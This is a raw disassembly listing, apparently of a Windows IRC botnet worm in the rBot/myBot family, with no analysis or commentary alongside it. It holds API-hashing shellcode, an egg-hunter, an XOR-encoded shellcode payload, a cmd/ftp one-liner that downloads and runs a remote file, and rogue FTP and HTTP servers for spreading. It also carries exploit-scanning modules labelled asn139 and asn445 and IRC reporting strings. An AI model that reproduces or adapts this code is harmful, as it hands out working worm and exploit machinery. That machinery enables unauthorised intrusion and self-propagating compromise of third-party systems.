aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 8
byte_425768	db 41h			; DATA XREF: sub_4031FF+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4257AC	proc near		; DATA XREF: sub_40345C+80o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_4258A8
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4258BE
		mov	[esi+8], eax
		call	sub_425871
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4258BE
		mov	[esi+0Ch], eax
		call	sub_425823
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4258BE
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_4257AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_425823	proc near		; CODE XREF: sub_4257AC+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_42584C
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_425823	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42584C	proc near		; CODE XREF: sub_425823+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_42585B:				; CODE XREF: sub_42584C+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_425868
		inc	ebx
		jmp	short loc_42585B
; ---------------------------------------------------------------------------


loc_425868:				; CODE XREF: sub_42584C+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_42584C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425871	proc near		; CODE XREF: sub_4257AC+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_425889:				; CODE XREF: sub_425871+1Ej
		cmp	[ecx], ebx
		jz	short loc_425891
		mov	ecx, [ecx]
		jmp	short loc_425889
; ---------------------------------------------------------------------------


loc_425891:				; CODE XREF: sub_425871+1Aj
		mov	edx, edi


loc_425893:				; CODE XREF: sub_425871+2Aj
		cmp	[edx+4], ebx
		jz	short loc_42589D
		mov	edx, [edx+4]
		jmp	short loc_425893
; ---------------------------------------------------------------------------


loc_42589D:				; CODE XREF: sub_425871+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_425871	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258A8	proc near		; CODE XREF: sub_4257AC+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4258A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258BE	proc near		; CODE XREF: sub_4257AC+16p
					; sub_4257AC+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4258D4:				; CODE XREF: sub_4258BE+33j
		jecxz	short loc_42590E
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4258E1:				; CODE XREF: sub_4258BE+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4258ED
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4258E1
; ---------------------------------------------------------------------------


loc_4258ED:				; CODE XREF: sub_4258BE+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4258D4
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_42590E:				; CODE XREF: sub_4258BE:loc_4258D4j
					; sub_4258BE:loc_42590Ej
		jmp	short loc_42590E
sub_4258BE	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_425914	proc near		; DATA XREF: sub_40345C+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_425966
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_425931:				; CODE XREF: sub_425914+38j
		jecxz	short loc_425961
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_42593C:				; CODE XREF: sub_425914+32j
		lodsb
		test	al, al
		jz	short loc_425948
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_42593C
; ---------------------------------------------------------------------------


loc_425948:				; CODE XREF: sub_425914+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_425931
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_425961:				; CODE XREF: sub_425914:loc_425931j
		mov	[esp+arg_0], ebx
		retn
sub_425914	endp


; =============== S U B	R O U T	I N E =======================================



sub_425966	proc near		; CODE XREF: sub_425914+7p

; FUNCTION CHUNK AT 0042599E SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_42597F
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_42598A
; ---------------------------------------------------------------------------


loc_42597F:				; CODE XREF: sub_425966+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_42598A:				; CODE XREF: sub_425966+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_42599E
sub_425966	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425991	proc near		; CODE XREF: sub_425966:loc_42599Ep
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_425991	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425966


loc_42599E:				; CODE XREF: sub_425966+29j
		call	sub_425991


loc_4259A3:				; DATA XREF: sub_402C02+1Bo
					; sub_40D2E0+822o
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_425966
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4259A8	dd 60h			; DATA XREF: sub_402C5D+320o
dword_4259AC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_402C5D+2F5o
dword_4259B8	dd 30h			; DATA XREF: sub_402C5D+2CAo
dword_4259BC	dd 0A1h			; DATA XREF: sub_402C5D+29Fo
dword_4259C0	dd 3			; DATA XREF: sub_402C5D+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_402C5D+153o
		align 4


loc_4259CC:				; DATA XREF: sub_402C5D+E8o
		jmp	short near ptr dword_4259D4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4259D4	dd 0			; CODE XREF: _2:loc_4259CCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40345C+55o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_403A1B+5D0o
aQuit		db 'QUIT',0             ; DATA XREF: sub_403A1B+5BCo
					; sub_40D2E0+537o
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_403A1B+5AFo
		align 4
unk_425A94	db    3			; DATA XREF: sub_403A1B+564o
		db 31h,	32h, 6Eh
		db    2
		db 7Ah,	1Fh, 6Dh
		db  1Fh
		db 20h,	28h, 66h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 3
a8SPortDNowExec	db '8  %s, port:%d now executing %s on remote ABOSAL7.',0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_403A1B+545o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_403A1B+519o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_403A1B+501o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_403A1B+4ECo
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_403A1B+4DBo
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_403A1B+4A8o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_403A1B+464o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_403A1B+42Bo
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_403A1B+3FDo
		align 4
aList		db 'LIST',0             ; DATA XREF: sub_403A1B+3EAo
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_403A1B+3AFo
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_403A1B+39Co
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_403A1B+38Co
aI:					; DATA XREF: sub_403A1B+378o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_403A1B+351o
aA:					; DATA XREF: sub_403A1B+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_403A1B+326o
					; sub_403A1B+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_403A1B+316o
		align 10h
off_425C40	dd offset dword_445750	; DATA XREF: sub_403A1B+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_403A1B+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_403A1B+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_403A1B+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_403A1B+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_403A1B+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_403A1B+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_403A1B+286o
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: sub_403A1B+271o
		align 4
aSS		db '%s %s',0            ; DATA XREF: sub_403A1B+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_403A1B+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_40409E+24o
					; sub_40525F+12Eo ...
		align 4
unk_425CDC	db    2			; DATA XREF: sub_404138+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_425D20	db 0Dh,0Ah,0		; DATA XREF: sub_404138+2CFo
		align 4
asc_425D24:				; DATA XREF: sub_404138+293o
					; sub_40D2E0+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_404138+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404593+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_404593+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_404593+98o
					; sub_409F1E+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_404593+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_404593:loc_4045F9o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_404593+5Fo
		align 4
unk_425F44	db    2			; DATA XREF: sub_404716+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_425F8C	db    2			; DATA XREF: sub_404716+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_425FCC:				; DATA XREF: sub_404716+15Ao
		unicode	0, <*>,0
asc_425FD0:				; DATA XREF: sub_404716+FBo
					; sub_4049CD+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_404716+EAo
					; sub_4049CD+4DAo ...
		align 4
aS_2		db '%s',0               ; DATA XREF: sub_404716+3Ao
					; sub_4099D6+4Co ...
		align 10h
aS_3		db '\%s',0              ; DATA XREF: sub_404716+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_4049CD+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4049CD+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_4049CD+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4049CD+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_4049CD:loc_404EF5o
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_4049CD+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_4049CD+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_4049CD+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_4049CD:loc_404D87o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_4049CD+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_4049CD+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4049CD+328o
					; sub_4049CD+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_4049CD+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_4049CD+2E9o
					; sub_4049CD+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_4049CD+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_4049CD+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_4049CD+28Ao
		align 4
a__1:					; DATA XREF: sub_4049CD+252o
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: sub_4049CD+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4049CD+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4049CD+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_4049CD+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_4049CD+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_4049CD+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_4049CD+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40513E+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_426488	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_40525F+493o
dword_426494	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_40525F+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_4264E8	db    2			; DATA XREF: sub_40525F+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42651C	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_40525F+399o
dword_426530	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_40525F+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_426578	db    2			; DATA XREF: sub_40525F+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_4265AC	db    2			; DATA XREF: sub_40525F+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
aOctet		db 'octet',0            ; DATA XREF: sub_40525F+Fo
		align 4
aAsn445		db 'asn445',0           ; DATA XREF: sub_405DAD+169o
		align 10h
		dd 73610000h, 6D73316Eh, 62h, 5	dup(0)
dword_426620	dd 1BDh			; DATA XREF: sub_405756+1Er
					; sub_40D2E0+30B3r ...
off_426624	dd offset sub_40345C	; DATA XREF: sub_405DAD+1EAr
dword_426628	dd 0			; DATA XREF: sub_40345C+1BAw
					; sub_40345C+1C0r ...
dword_42662C	dd 1			; DATA XREF: sub_405898+1Fr
dword_426630	dd 1			; DATA XREF: sub_405898:loc_405B09r
aAsn139		db 'asn139',0
		align 4
		dd 73610000h, 6D73316Eh, 746E62h, 5 dup(0)
		dd 8Bh,	40345Ch, 0	; CODE XREF: sub_4266AE:loc_4266C3j
		dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_4266BE

; =============== S U B	R O U T	I N E =======================================



sub_4266AE	proc near		; CODE XREF: sub_4266AE:loc_4266BEp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4266B6:				; CODE XREF: sub_4266AE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4266B6
		jmp	short loc_4266C3
; ---------------------------------------------------------------------------


loc_4266BE:				; CODE XREF: _2:004266ACj
		call	sub_4266AE


loc_4266C3:				; CODE XREF: sub_4266AE+Ej
		jo	short near ptr dword_42665C+2
		cwde
		cdq
		cdq
		retn
sub_4266AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_405756+82o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_405756+42o
		align 4
unk_42684C	db    2			; DATA XREF: sub_405756+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 10h
unk_426880	db    2			; DATA XREF: sub_405821+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_4268B0	db    2			; DATA XREF: sub_405821+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 10h
unk_4268E0	db    2			; DATA XREF: sub_405898+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_426924	db    2			; DATA XREF: sub_405898+307o
					; sub_40D2E0+54B9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 10h
dword_426970	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_405898+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 10h
dword_4269B0	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_405898+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
unk_426A00	db    2			; DATA XREF: sub_405898+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
